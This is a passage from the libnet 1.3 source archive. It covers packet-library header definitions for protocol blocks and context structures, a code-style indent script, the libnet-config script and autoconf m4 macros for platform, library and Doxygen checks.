open header */ #define LIBNET_PBLOCK_BGP4_UPDATE_H 0x37 /* BGP4 update header */ #define LIBNET_PBLOCK_BGP4_NOTIFICATION_H 0x38 /* BGP4 notification header */ #define LIBNET_PBLOCK_GRE_H 0x39 /* GRE header */ #define LIBNET_PBLOCK_GRE_SRE_H 0x3a /* GRE SRE header */ #define LIBNET_PBLOCK_IPV6_FRAG_H 0x3b /* IPv6 frag header */ #define LIBNET_PBLOCK_IPV6_ROUTING_H 0x3c /* IPv6 routing header */ #define LIBNET_PBLOCK_IPV6_DESTOPTS_H 0x3d /* IPv6 dest opts header */ #define LIBNET_PBLOCK_IPV6_HBHOPTS_H 0x3e /* IPv6 hop/hop opts header */ #define LIBNET_PBLOCK_SEBEK_H 0x3f /* Sebek header */ #define LIBNET_PBLOCK_HSRP_H 0x40 /* HSRP header */ #define LIBNET_PBLOCK_ICMPV6_H 0x41 /* ICMPv6 header (unused) */ #define LIBNET_PBLOCK_ICMPV6_ECHO_H 0x46 /* ICMPv6 echo header */ #define LIBNET_PBLOCK_ICMPV6_UNREACH_H 0x42 /* ICMPv6 unreach header */ #define LIBNET_PBLOCK_ICMPV6_NDP_NSOL_H 0x43 /* ICMPv6 NDP neighbor solicitation header */ #define LIBNET_PBLOCK_ICMPV6_NDP_NADV_H 0x44 /* ICMPv6 NDP neighbor advertisement header */ #define LIBNET_PBLOCK_ICMPV6_NDP_OPT_H 0x45 /* ICMPv6 NDP option */ #define LIBNET_PBLOCK_LLDP_H 0x50 /* LLDP header */ #define LIBNET_PBLOCK_LLDP_CHASSIS_H 0x51 /* LLDP Chassis header */ #define LIBNET_PBLOCK_LLDP_PORT_H 0x52 /* LLDP Port header */ #define LIBNET_PBLOCK_LLDP_TTL_H 0x53 /* LLDP TTL header */ #define LIBNET_PBLOCK_LLDP_END_H 0x54 /* LLDP End of LLDPDU header */ #define LIBNET_PBLOCK_LLDP_ORG_SPEC_H 0x55 /* LLDP Organization Specific header */ #define LIBNET_PBLOCK_UDLD_H 0x56 /* UDLD header */ #define LIBNET_PBLOCK_UDLD_DEVICE_ID_H 0x57 /* UDLD Device ID header*/ #define LIBNET_PBLOCK_UDLD_PORT_ID_H 0x58 /* UDLD Port ID header */ #define LIBNET_PBLOCK_UDLD_ECHO_H 0x59 /* UDLD Echo ID header */ #define LIBNET_PBLOCK_UDLD_MSG_INTERVAL_H 0x60 /* UDLD Message Interval header */ #define LIBNET_PBLOCK_UDLD_TMT_INTERVAL_H 0x61 /* UDLD Timeout Interval header */ #define LIBNET_PBLOCK_UDLD_DEVICE_NAME_H 0x62 /* UDLD Device Name header*/ #define LIBNET_PBLOCK_UDLD_SEQ_NUMBER_H 0x63 /* UDLD Sequence Number header */ uint8_t flags; /* control flags */ #define LIBNET_PBLOCK_DO_CHECKSUM 0x01 /* needs a checksum */ libnet_ptag_t ptag; /* protocol block tag */ /* Chains are built from highest level protocol, towards the link level, so * prev traverses away from link level, and next traverses towards the * link level. */ struct libnet_protocol_block *next; /* next pblock */ struct libnet_protocol_block *prev; /* prev pblock */ }; typedef struct libnet_protocol_block libnet_pblock_t; /* * Libnet context * Opaque structure. Nothing in here should ever been touched first hand by * the applications programmer. */ struct libnet_context { #if ((_WIN32) && !(__CYGWIN__)) SOCKET fd; LPADAPTER lpAdapter; #else int fd; /* file descriptor of packet device */ #endif int injection_type; /* one of: */ #define LIBNET_NONE 0xf8 /* no injection type, only construct packets */ #define LIBNET_LINK 0x00 /* link-layer interface */ #define LIBNET_RAW4 0x01 /* raw socket interface (ipv4) */ #define LIBNET_RAW6 0x02 /* raw socket interface (ipv6) */ /* the following should actually set a flag in the flags variable above */ #define LIBNET_LINK_ADV 0x08 /* advanced mode link-layer */ #define LIBNET_RAW4_ADV 0x09 /* advanced mode raw socket (ipv4) */ #define LIBNET_RAW6_ADV 0x0a /* advanced mode raw socket (ipv6) */ #define LIBNET_ADV_MASK 0x08 /* mask to determine adv mode */ /* _blocks is the highest level, and _end is closest to link-level */ libnet_pblock_t *protocol_blocks; /* protocol headers / data */ libnet_pblock_t *pblock_end; /* last node in list */ uint32_t n_pblocks; /* number of pblocks */ int link_type; /* link-layer type, a DLT_ value. */ /* These are the only values used by libnet (see libnet_build_arp and * libnet_build_link). Other values are assigned by the various * libnet_link_*.c OS support functions, but are not yet used or supported, * they are effectively dead code. claims these two are invariant * across operating systems... hopefully it is correct! */ #ifndef DLT_EN10MB # define DLT_EN10MB 1 /* Ethernet (10Mb) */ #endif #ifndef DLT_IEEE802 # define DLT_IEEE802 6 /* IEEE 802 Networks */ #endif int link_offset; /* link-layer header size */ int aligner; /* used to align packets */ char *device; /* device name */ struct libnet_stats stats; /* statistics */ libnet_ptag_t ptag_state; /* state holder for pblock tag */ char label[LIBNET_LABEL_SIZE]; /* textual label for cq interface */ char err_buf[LIBNET_ERRBUF_SIZE]; /* error buffer */ uint32_t total_size; /* total size */ struct libnet_ether_addr link_addr; /* Link HW addr */ }; typedef struct libnet_context libnet_t; /* * Libnet context queue structure * Opaque structure. Nothing in here should ever been touched first hand by * the applications programmer. */ typedef struct _libnet_context_queue libnet_cq_t; struct _libnet_context_queue { libnet_t *context; /* pointer to libnet context */ libnet_cq_t *next; /* next node in the list */ libnet_cq_t *prev; /* previous node in the list */ }; struct _libnet_context_queue_descriptor { uint32_t node; /* number of nodes in the list */ uint32_t cq_lock; /* lock status */ libnet_cq_t *current; /* current context */ }; typedef struct _libnet_context_queue_descriptor libnet_cqd_t; #endif /* __LIBNET_STRUCTURES_H */ /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/include/libnet/libnet-types.h0000664000175000017500000000343114506572036016547 0ustar syqsyq/* * $Id: libnet-types.h,v 1.3 2004/01/03 20:31:00 mike Exp $ * * libnet-types.h - Network routine library macro header file * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #ifndef __LIBNET_TYPES_H #define __LIBNET_TYPES_H /* libnet should be using the standard type names, so mapping standard * to non-standard should not be necessary. */ #endif /* __LIBNET_TYPES_H */ /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/indent.sh0000775000175000017500000000322714506572036012702 0ustar syqsyq#!/bin/sh # This is libnet coding style, rediscovered by inspecing various key # files: libnet_build_ip.c, libet_init.c, ... it is what it is, and we # don't enforce it. Treat it only as a guide when contributing. When # changing existing code, first and foremost, follow the style in that # file. # # With the -T foo we can inform indent about non-ansi types that we've # added, so indent doesn't insert spaces in odd places. We should add # all the libnet types here (todo) indent \ --preserve-mtime \ --break-after-boolean-operator \ --blank-lines-after-declarations \ --blank-lines-after-procedures \ --braces-after-if-line \ --braces-after-struct-decl-line \ --brace-indent0 \ --case-indentation4 \ --case-brace-indentation0 \ --comment-indentation53 \ --continue-at-parentheses \ --declaration-indentation2 \ --dont-break-function-decl-args \ --dont-break-procedure-type \ --dont-cuddle-do-while \ --dont-cuddle-else \ --dont-format-comments \ --honour-newlines \ --ignore-profile \ --indent-level4 \ --leave-optional-blank-lines \ --leave-preprocessor-space \ --line-length132 \ --no-blank-lines-after-commas \ --no-space-after-parentheses \ --no-space-after-function-call-names \ --no-tabs \ --no-space-after-casts \ --space-after-if \ --space-after-for \ --space-after-while \ --procnames-start-lines \ -T size_t -T sigset_t -T timeval_t -T pid_t -T pthread_t -T time_t \ -T uint64_t -T uint32_t -T uint16_t -T uint8_t \ -T int64_t -T int32_t -T int16_t -T int8_t \ -T uchar -T uint -T ulong -T ushort -T u_short -T u_int \ $* libnet-1.3/libnet-config.in0000664000175000017500000000243514506572036014132 0ustar syqsyq#!/bin/sh # # Libnet 1.1 libnet-config compilation script # (c) 1998 - 2004 Mike D. Schiffman # # Kept for compatibility with existing projects. For new # projects, or those looking to upgrade, we recommend the # new pkg-config framework, libnet.pc. See the README.md # for details on how to use it. # # @configure_input@ prefix=@prefix@ exec_prefix=@exec_prefix@ libdir=@libdir@ includedir=@includedir@ libnet_defines="@PKG_CONFIG_DEFINES@" libnet_cflags="-I${includedir} @PKG_CONFIG_CFLAGS@" libnet_libs="-L${libdir} @PKG_CONFIG_LIBS@ -lnet" usage() { cat < dnl All rights reserved. dnl dnl dnl Check for the Linux /proc filesystem dnl dnl usage: AC_LIBNET_LINUX_PROCFS dnl results: HAVE_LINUX_PROCFS dnl AC_DEFUN([AC_LIBNET_LINUX_PROCFS], [AC_MSG_CHECKING(for Linux proc filesystem) AC_CACHE_VAL(ac_cv_libnet_linux_procfs, if test "x`cat /proc/sys/kernel/ostype 2>&-`" = "xLinux" ; then ac_cv_libnet_linux_procfs=yes else ac_cv_libnet_linux_procfs=no fi) AC_MSG_RESULT($ac_cv_libnet_linux_procfs) if test $ac_cv_libnet_linux_procfs = yes ; then AC_DEFINE(HAVE_LINUX_PROCFS, 1, [Define if you have the Linux /proc filesystem.]) fi]) dnl dnl Looks for a previous libnet version and attempts to determine which version dnl it is. Version 0.8 was the first version that actually knew internally dnl what version it was. dnl dnl usage: dnl dnl AC_LIBNET_CHECK_LIBNET_VERSION dnl dnl results: dnl dnl dnl AC_DEFUN([AC_LIBNET_CHECK_LIBNET_VER], [ AC_CHECK_LIB(net, libnet_build_ip, AC_MSG_CHECKING(version) \ changequote(<<, >>)dnl if [[ ! -f $LIB_PREFIX/libnet.a ]] ; then changequote([, ])dnl AC_MSG_RESULT($LIB_PREFIX/libnet.a doesn't exist) AC_MSG_RESULT(previous libnet install lives elsewhere, you should probably find it) else __LIBNET_VERSION=`strings $LIB_PREFIX/libnet.a | grep "libnet version"\ | cut -f3 -d" "`;\ if test -z "$__LIBNET_VERSION"; then AC_MSG_RESULT(<0.8) else AC_MSG_RESULT($__LIBNET_VERSION) fi fi\ ) ]) dnl dnl Checks to see if this linux kernel uses ip_sum or ip_csum dnl (Pulled from queso) dnl dnl usage: dnl dnl AC_LIBNET_CHECK_IP_CSUM dnl dnl results: dnl dnl HAVE_STRUCT_IP_CSUM (DEFINED) dnl AC_DEFUN([AC_LIBNET_CHECK_IP_CSUM], [ AC_MSG_CHECKING([struct ip contains ip_csum]) AC_TRY_COMPILE([ #define __BSD_SOURCE #define _BSD_SOURCE #define _DEFAULT_SOURCE #include #include #include #include ], [ struct ip ip; ip.ip_csum = 0; ], [AC_MSG_RESULT(yes); AC_DEFINE(HAVE_STRUCT_IP_CSUM)], [AC_MSG_RESULT(no); ]) ]) dnl dnl Checks endianess dnl dnl usage: dnl dnl AC_LIBNET_ENDIAN_CHECK dnl dnl results: dnl dnl LIBNET_BIG_ENDIAN = 1 or dnl LIBNET_LIL_ENDIAN = 1 dnl AC_DEFUN([AC_LIBNET_ENDIAN_CHECK], [AC_C_BIGENDIAN if test $ac_cv_c_bigendian = yes ; then AC_DEFINE(LIBNET_BIG_ENDIAN, 1, [We are running on a big-endian machine.]) ENDIANESS="LIBNET_BIG_ENDIAN" PKG_CONFIG_DEFINES="$PKG_CONFIG_DEFINES -DLIBNET_BIG_ENDIAN" else AC_DEFINE(LIBNET_LIL_ENDIAN, 1, [We are running on a little-endian machine.]) ENDIANESS="LIBNET_LIL_ENDIAN" PKG_CONFIG_DEFINES="$PKG_CONFIG_DEFINES -DLIBNET_LIL_ENDIAN" fi ]) dnl dnl Improved version of AC_CHECK_LIB dnl dnl Thanks to John Hawkinson (jhawk@mit.edu) dnl dnl usage: dnl dnl AC_LBL_CHECK_LIB(LIBRARY, FUNCTION [, ACTION-IF-FOUND [, dnl ACTION-IF-NOT-FOUND [, OTHER-LIBRARIES]]]) dnl dnl results: dnl dnl LIBS dnl define([AC_LBL_CHECK_LIB], [AC_MSG_CHECKING([for $2 in -l$1]) dnl Use a cache variable name containing both the library and function name, dnl because the test really is for library $1 defining function $2, not dnl just for library $1. Separate tests with the same $1 and different $2's dnl may have different results. ac_lib_var=`echo $1['_']$2['_']$5 | sed 'y%./+- %__p__%'` AC_CACHE_VAL(ac_cv_lbl_lib_$ac_lib_var, [ac_save_LIBS="$LIBS" LIBS="-l$1 $5 $LIBS" AC_TRY_LINK(dnl ifelse([$2], [main], , dnl Avoid conflicting decl of main. [/* Override any gcc2 internal prototype to avoid an error. */ ]ifelse(AC_LANG, CPLUSPLUS, [#ifdef __cplusplus extern "C" #endif ])dnl [/* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char $2(); ]), [$2()], eval "ac_cv_lbl_lib_$ac_lib_var=yes", eval "ac_cv_lbl_lib_$ac_lib_var=no") LIBS="$ac_save_LIBS" ])dnl if eval "test \"`echo '$ac_cv_lbl_lib_'$ac_lib_var`\" = yes"; then AC_MSG_RESULT(yes) ifelse([$3], , [changequote(, )dnl ac_tr_lib=HAVE_LIB`echo $1 | sed -e 's/[^a-zA-Z0-9_]/_/g' \ -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` changequote([, ])dnl AC_DEFINE_UNQUOTED($ac_tr_lib) LIBS="-l$1 $LIBS" ], [$3]) else AC_MSG_RESULT(no) ifelse([$4], , , [$4 ])dnl fi ]) dnl dnl AC_LBL_LIBRARY_NET dnl dnl This test is for network applications that need socket() and dnl gethostbyname() -ish functions. Under Solaris, those applications dnl need to link with "-lsocket -lnsl". Under IRIX, they need to link dnl with "-lnsl" but should *not* link with "-lsocket" because dnl libsocket.a breaks a number of things (for instance: dnl gethostbyname() under IRIX 5.2, and snoop sockets under most dnl versions of IRIX). dnl dnl Unfortunately, many application developers are not aware of this, dnl and mistakenly write tests that cause -lsocket to be used under dnl IRIX. It is also easy to write tests that cause -lnsl to be used dnl under operating systems where neither are necessary (or useful), dnl such as SunOS 4.1.4, which uses -lnsl for TLI. dnl dnl This test exists so that every application developer does not test dnl this in a different, and subtly broken fashion. dnl It has been argued that this test should be broken up into two dnl separate tests, one for the resolver libraries, and one for the dnl libraries necessary for using Sockets API. Unfortunately, the two dnl are carefully intertwined and allowing the autoconf user to use dnl them independently potentially results in unfortunate ordering of dnl dependencies -- as such, such component macros would have to dnl carefully use indirection and be aware if the other components were dnl executed. Since other autoconf macros do not go to this trouble, dnl and almost no applications use sockets without the resolver, this dnl complexity has not been implemented. dnl dnl The check for libresolv is in case you are attempting to link dnl statically and happen to have a libresolv.a lying around (and no dnl libnsl.a). dnl AC_DEFUN([AC_LBL_LIBRARY_NET], [ # Most operating systems have gethostbyname() in the default searched # libraries (i.e. libc): AC_CHECK_FUNC(gethostbyname, , # Some OSes (eg. Solaris) place it in libnsl: AC_LBL_CHECK_LIB(nsl, gethostbyname, , # Some strange OSes (SINIX) have it in libsocket: AC_LBL_CHECK_LIB(socket, gethostbyname, , # Unfortunately libsocket sometimes depends on libnsl. # AC_CHECK_LIB's API is essentially broken so the # following ugliness is necessary: AC_LBL_CHECK_LIB(socket, gethostbyname, LIBS="-lsocket -lnsl $LIBS", AC_CHECK_LIB(resolv, gethostbyname), -lnsl)))) AC_CHECK_FUNC(socket, , AC_CHECK_LIB(socket, socket, , AC_LBL_CHECK_LIB(socket, socket, LIBS="-lsocket -lnsl $LIBS", , -lnsl))) # DLPI needs putmsg under HPUX so test for -lstr while we're at it AC_CHECK_LIB(str, putmsg) ]) libnet-1.3/m4/ax_check_link_flag.m40000664000175000017500000000615714506572036015424 0ustar syqsyq# =========================================================================== # https://www.gnu.org/software/autoconf-archive/ax_check_link_flag.html # =========================================================================== # # SYNOPSIS # # AX_CHECK_LINK_FLAG(FLAG, [ACTION-SUCCESS], [ACTION-FAILURE], [EXTRA-FLAGS], [INPUT]) # # DESCRIPTION # # Check whether the given FLAG works with the linker or gives an error. # (Warnings, however, are ignored) # # ACTION-SUCCESS/ACTION-FAILURE are shell commands to execute on # success/failure. # # If EXTRA-FLAGS is defined, it is added to the linker's default flags # when the check is done. The check is thus made with the flags: "LDFLAGS # EXTRA-FLAGS FLAG". This can for example be used to force the linker to # issue an error when a bad flag is given. # # INPUT gives an alternative input source to AC_LINK_IFELSE. # # NOTE: Implementation based on AX_CFLAGS_GCC_OPTION. Please keep this # macro in sync with AX_CHECK_{PREPROC,COMPILE}_FLAG. # # LICENSE # # Copyright (c) 2008 Guido U. Draheim # Copyright (c) 2011 Maarten Bosmans # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation, either version 3 of the License, or (at your # option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General # Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program. If not, see . # # As a special exception, the respective Autoconf Macro's copyright owner # gives unlimited permission to copy, distribute and modify the configure # scripts that are the output of Autoconf when processing the Macro. You # need not follow the terms of the GNU General Public License when using # or distributing such scripts, even though portions of the text of the # Macro appear in them. The GNU General Public License (GPL) does govern # all other use of the material that constitutes the Autoconf Macro. # # This special exception to the GPL applies to versions of the Autoconf # Macro released by the Autoconf Archive. When you make and distribute a # modified version of the Autoconf Macro, you may extend this special # exception to the GPL to apply to your modified version as well. #serial 5 AC_DEFUN([AX_CHECK_LINK_FLAG], [AC_PREREQ(2.64)dnl for _AC_LANG_PREFIX and AS_VAR_IF AS_VAR_PUSHDEF([CACHEVAR],[ax_cv_check_ldflags_$4_$1])dnl AC_CACHE_CHECK([whether the linker accepts $1], CACHEVAR, [ ax_check_save_flags=$LDFLAGS LDFLAGS="$LDFLAGS $4 $1" AC_LINK_IFELSE([m4_default([$5],[AC_LANG_PROGRAM()])], [AS_VAR_SET(CACHEVAR,[yes])], [AS_VAR_SET(CACHEVAR,[no])]) LDFLAGS=$ax_check_save_flags]) AS_VAR_IF(CACHEVAR,yes, [m4_default([$2], :)], [m4_default([$3], :)]) AS_VAR_POPDEF([CACHEVAR])dnl ])dnl AX_CHECK_LINK_FLAGS libnet-1.3/m4/ax_prog_doxygen.m40000664000175000017500000004777114506572036015054 0ustar syqsyq# =========================================================================== # http://www.gnu.org/software/autoconf-archive/ax_prog_doxygen.html # =========================================================================== # # SYNOPSIS # # DX_INIT_DOXYGEN(PROJECT-NAME, [DOXYFILE-PATH], [OUTPUT-DIR], ...) # DX_DOXYGEN_FEATURE(ON|OFF) # DX_DOT_FEATURE(ON|OFF) # DX_HTML_FEATURE(ON|OFF) # DX_CHM_FEATURE(ON|OFF) # DX_CHI_FEATURE(ON|OFF) # DX_MAN_FEATURE(ON|OFF) # DX_RTF_FEATURE(ON|OFF) # DX_XML_FEATURE(ON|OFF) # DX_PDF_FEATURE(ON|OFF) # DX_PS_FEATURE(ON|OFF) # # DESCRIPTION # # The DX_*_FEATURE macros control the default setting for the given # Doxygen feature. Supported features are 'DOXYGEN' itself, 'DOT' for # generating graphics, 'HTML' for plain HTML, 'CHM' for compressed HTML # help (for MS users), 'CHI' for generating a separate .chi file by the # .chm file, and 'MAN', 'RTF', 'XML', 'PDF' and 'PS' for the appropriate # output formats. The environment variable DOXYGEN_PAPER_SIZE may be # specified to override the default 'a4wide' paper size. # # By default, HTML, PDF and PS documentation is generated as this seems to # be the most popular and portable combination. MAN pages created by # Doxygen are usually problematic, though by picking an appropriate subset # and doing some massaging they might be better than nothing. CHM and RTF # are specific for MS (note that you can't generate both HTML and CHM at # the same time). The XML is rather useless unless you apply specialized # post-processing to it. # # The macros mainly control the default state of the feature. The use can # override the default by specifying --enable or --disable. The macros # ensure that contradictory flags are not given (e.g., # --enable-doxygen-html and --enable-doxygen-chm, # --enable-doxygen-anything with --disable-doxygen, etc.) Finally, each # feature will be automatically disabled (with a warning) if the required # programs are missing. # # Once all the feature defaults have been specified, call DX_INIT_DOXYGEN # with the following parameters: a one-word name for the project for use # as a filename base etc., an optional configuration file name (the # default is '$(srcdir)/Doxyfile', the same as Doxygen's default), and an # optional output directory name (the default is 'doxygen-doc'). To run # doxygen multiple times for different configuration files and output # directories provide more parameters: the second, forth, sixth, etc # parameter are configuration file names and the third, fifth, seventh, # etc parameter are output directories. No checking is done to catch # duplicates. # # Automake Support # # The DX_RULES substitution can be used to add all needed rules to the # Makefile. Note that this is a substitution without being a variable: # only the @DX_RULES@ syntax will work. # # The provided targets are: # # doxygen-doc: Generate all doxygen documentation. # # doxygen-run: Run doxygen, which will generate some of the # documentation (HTML, CHM, CHI, MAN, RTF, XML) # but will not do the post processing required # for the rest of it (PS, PDF). # # doxygen-ps: Generate doxygen PostScript documentation. # # doxygen-pdf: Generate doxygen PDF documentation. # # Note that by default these are not integrated into the automake targets. # If doxygen is used to generate man pages, you can achieve this # integration by setting man3_MANS to the list of man pages generated and # then adding the dependency: # # $(man3_MANS): doxygen-doc # # This will cause make to run doxygen and generate all the documentation. # # The following variable is intended for use in Makefile.am: # # DX_CLEANFILES = everything to clean. # # Then add this variable to MOSTLYCLEANFILES. # # LICENSE # # Copyright (c) 2009 Oren Ben-Kiki # Copyright (c) 2015 Olaf Mandel # # Copying and distribution of this file, with or without modification, are # permitted in any medium without royalty provided the copyright notice # and this notice are preserved. This file is offered as-is, without any # warranty. #serial 20 ## ----------## ## Defaults. ## ## ----------## DX_ENV="" AC_DEFUN([DX_FEATURE_doc], ON) AC_DEFUN([DX_FEATURE_dot], OFF) AC_DEFUN([DX_FEATURE_man], OFF) AC_DEFUN([DX_FEATURE_html], ON) AC_DEFUN([DX_FEATURE_chm], OFF) AC_DEFUN([DX_FEATURE_chi], OFF) AC_DEFUN([DX_FEATURE_rtf], OFF) AC_DEFUN([DX_FEATURE_xml], OFF) AC_DEFUN([DX_FEATURE_pdf], ON) AC_DEFUN([DX_FEATURE_ps], ON) ## --------------- ## ## Private macros. ## ## --------------- ## # DX_ENV_APPEND(VARIABLE, VALUE) # ------------------------------ # Append VARIABLE="VALUE" to DX_ENV for invoking doxygen and add it # as a substitution (but not a Makefile variable). The substitution # is skipped if the variable name is VERSION. AC_DEFUN([DX_ENV_APPEND], [AC_SUBST([DX_ENV], ["$DX_ENV $1='$2'"])dnl m4_if([$1], [VERSION], [], [AC_SUBST([$1], [$2])dnl AM_SUBST_NOTMAKE([$1])])dnl ]) # DX_DIRNAME_EXPR # --------------- # Expand into a shell expression prints the directory part of a path. AC_DEFUN([DX_DIRNAME_EXPR], [[expr ".$1" : '\(\.\)[^/]*$' \| "x$1" : 'x\(.*\)/[^/]*$']]) # DX_IF_FEATURE(FEATURE, IF-ON, IF-OFF) # ------------------------------------- # Expands according to the M4 (static) status of the feature. AC_DEFUN([DX_IF_FEATURE], [ifelse(DX_FEATURE_$1, ON, [$2], [$3])]) # DX_REQUIRE_PROG(VARIABLE, PROGRAM) # ---------------------------------- # Require the specified program to be found for the DX_CURRENT_FEATURE to work. AC_DEFUN([DX_REQUIRE_PROG], [ AC_PATH_TOOL([$1], [$2]) if test "$DX_FLAG_[]DX_CURRENT_FEATURE$$1" = 1; then AC_MSG_WARN([$2 not found - will not DX_CURRENT_DESCRIPTION]) AC_SUBST(DX_FLAG_[]DX_CURRENT_FEATURE, 0) fi ]) # DX_TEST_FEATURE(FEATURE) # ------------------------ # Expand to a shell expression testing whether the feature is active. AC_DEFUN([DX_TEST_FEATURE], [test "$DX_FLAG_$1" = 1]) # DX_CHECK_DEPEND(REQUIRED_FEATURE, REQUIRED_STATE) # ------------------------------------------------- # Verify that a required features has the right state before trying to turn on # the DX_CURRENT_FEATURE. AC_DEFUN([DX_CHECK_DEPEND], [ test "$DX_FLAG_$1" = "$2" \ || AC_MSG_ERROR([doxygen-DX_CURRENT_FEATURE ifelse([$2], 1, requires, contradicts) doxygen-DX_CURRENT_FEATURE]) ]) # DX_CLEAR_DEPEND(FEATURE, REQUIRED_FEATURE, REQUIRED_STATE) # ---------------------------------------------------------- # Turn off the DX_CURRENT_FEATURE if the required feature is off. AC_DEFUN([DX_CLEAR_DEPEND], [ test "$DX_FLAG_$1" = "$2" || AC_SUBST(DX_FLAG_[]DX_CURRENT_FEATURE, 0) ]) # DX_FEATURE_ARG(FEATURE, DESCRIPTION, # CHECK_DEPEND, CLEAR_DEPEND, # REQUIRE, DO-IF-ON, DO-IF-OFF) # -------------------------------------------- # Parse the command-line option controlling a feature. CHECK_DEPEND is called # if the user explicitly turns the feature on (and invokes DX_CHECK_DEPEND), # otherwise CLEAR_DEPEND is called to turn off the default state if a required # feature is disabled (using DX_CLEAR_DEPEND). REQUIRE performs additional # requirement tests (DX_REQUIRE_PROG). Finally, an automake flag is set and # DO-IF-ON or DO-IF-OFF are called according to the final state of the feature. AC_DEFUN([DX_ARG_ABLE], [ AC_DEFUN([DX_CURRENT_FEATURE], [$1]) AC_DEFUN([DX_CURRENT_DESCRIPTION], [$2]) AC_ARG_ENABLE(doxygen-$1, [AS_HELP_STRING(DX_IF_FEATURE([$1], [--disable-doxygen-$1], [--enable-doxygen-$1]), DX_IF_FEATURE([$1], [don't $2], [$2]))], [ case "$enableval" in #( y|Y|yes|Yes|YES) AC_SUBST([DX_FLAG_$1], 1) $3 ;; #( n|N|no|No|NO) AC_SUBST([DX_FLAG_$1], 0) ;; #( *) AC_MSG_ERROR([invalid value '$enableval' given to doxygen-$1]) ;; esac ], [ AC_SUBST([DX_FLAG_$1], [DX_IF_FEATURE([$1], 1, 0)]) $4 ]) if DX_TEST_FEATURE([$1]); then $5 : fi if DX_TEST_FEATURE([$1]); then $6 : else $7 : fi ]) ## -------------- ## ## Public macros. ## ## -------------- ## # DX_XXX_FEATURE(DEFAULT_STATE) # ----------------------------- AC_DEFUN([DX_DOXYGEN_FEATURE], [AC_DEFUN([DX_FEATURE_doc], [$1])]) AC_DEFUN([DX_DOT_FEATURE], [AC_DEFUN([DX_FEATURE_dot], [$1])]) AC_DEFUN([DX_MAN_FEATURE], [AC_DEFUN([DX_FEATURE_man], [$1])]) AC_DEFUN([DX_HTML_FEATURE], [AC_DEFUN([DX_FEATURE_html], [$1])]) AC_DEFUN([DX_CHM_FEATURE], [AC_DEFUN([DX_FEATURE_chm], [$1])]) AC_DEFUN([DX_CHI_FEATURE], [AC_DEFUN([DX_FEATURE_chi], [$1])]) AC_DEFUN([DX_RTF_FEATURE], [AC_DEFUN([DX_FEATURE_rtf], [$1])]) AC_DEFUN([DX_XML_FEATURE], [AC_DEFUN([DX_FEATURE_xml], [$1])]) AC_DEFUN([DX_XML_FEATURE], [AC_DEFUN([DX_FEATURE_xml], [$1])]) AC_DEFUN([DX_PDF_FEATURE], [AC_DEFUN([DX_FEATURE_pdf], [$1])]) AC_DEFUN([DX_PS_FEATURE], [AC_DEFUN([DX_FEATURE_ps], [$1])]) # DX_INIT_DOXYGEN(PROJECT, [CONFIG-FILE], [OUTPUT-DOC-DIR], ...) # -------------------------------------------------------------- # PROJECT also serves as the base name for the documentation files. # The default CONFIG-FILE is "$(srcdir)/Doxyfile" and OUTPUT-DOC-DIR is # "doxygen-doc". # More arguments are interpreted as interleaved CONFIG-FILE and # OUTPUT-DOC-DIR values. AC_DEFUN([DX_INIT_DOXYGEN], [ # Files: AC_SUBST([DX_PROJECT], [$1]) AC_SUBST([DX_CONFIG], ['ifelse([$2], [], [$(srcdir)/Doxyfile], [$2])']) AC_SUBST([DX_DOCDIR], ['ifelse([$3], [], [doxygen-doc], [$3])']) m4_if(m4_eval(3 < m4_count($@)), 1, [m4_for([DX_i], 4, m4_count($@), 2, [AC_SUBST([DX_CONFIG]m4_eval(DX_i[/2]), 'm4_default_nblank_quoted(m4_argn(DX_i, $@), [$(srcdir)/Doxyfile])')])])dnl m4_if(m4_eval(3 < m4_count($@)), 1, [m4_for([DX_i], 5, m4_count($@,), 2, [AC_SUBST([DX_DOCDIR]m4_eval([(]DX_i[-1)/2]), 'm4_default_nblank_quoted(m4_argn(DX_i, $@), [doxygen-doc])')])])dnl m4_define([DX_loop], m4_dquote(m4_if(m4_eval(3 < m4_count($@)), 1, [m4_for([DX_i], 4, m4_count($@), 2, [, m4_eval(DX_i[/2])])], [])))dnl # Environment variables used inside doxygen.cfg: DX_ENV_APPEND(SRCDIR, $srcdir) DX_ENV_APPEND(PROJECT, $DX_PROJECT) DX_ENV_APPEND(VERSION, $PACKAGE_VERSION) # Doxygen itself: DX_ARG_ABLE(doc, [generate any doxygen documentation], [], [], [DX_REQUIRE_PROG([DX_DOXYGEN], doxygen) DX_REQUIRE_PROG([DX_PERL], perl)], [DX_ENV_APPEND(PERL_PATH, $DX_PERL)]) # Dot for graphics: DX_ARG_ABLE(dot, [generate graphics for doxygen documentation], [DX_CHECK_DEPEND(doc, 1)], 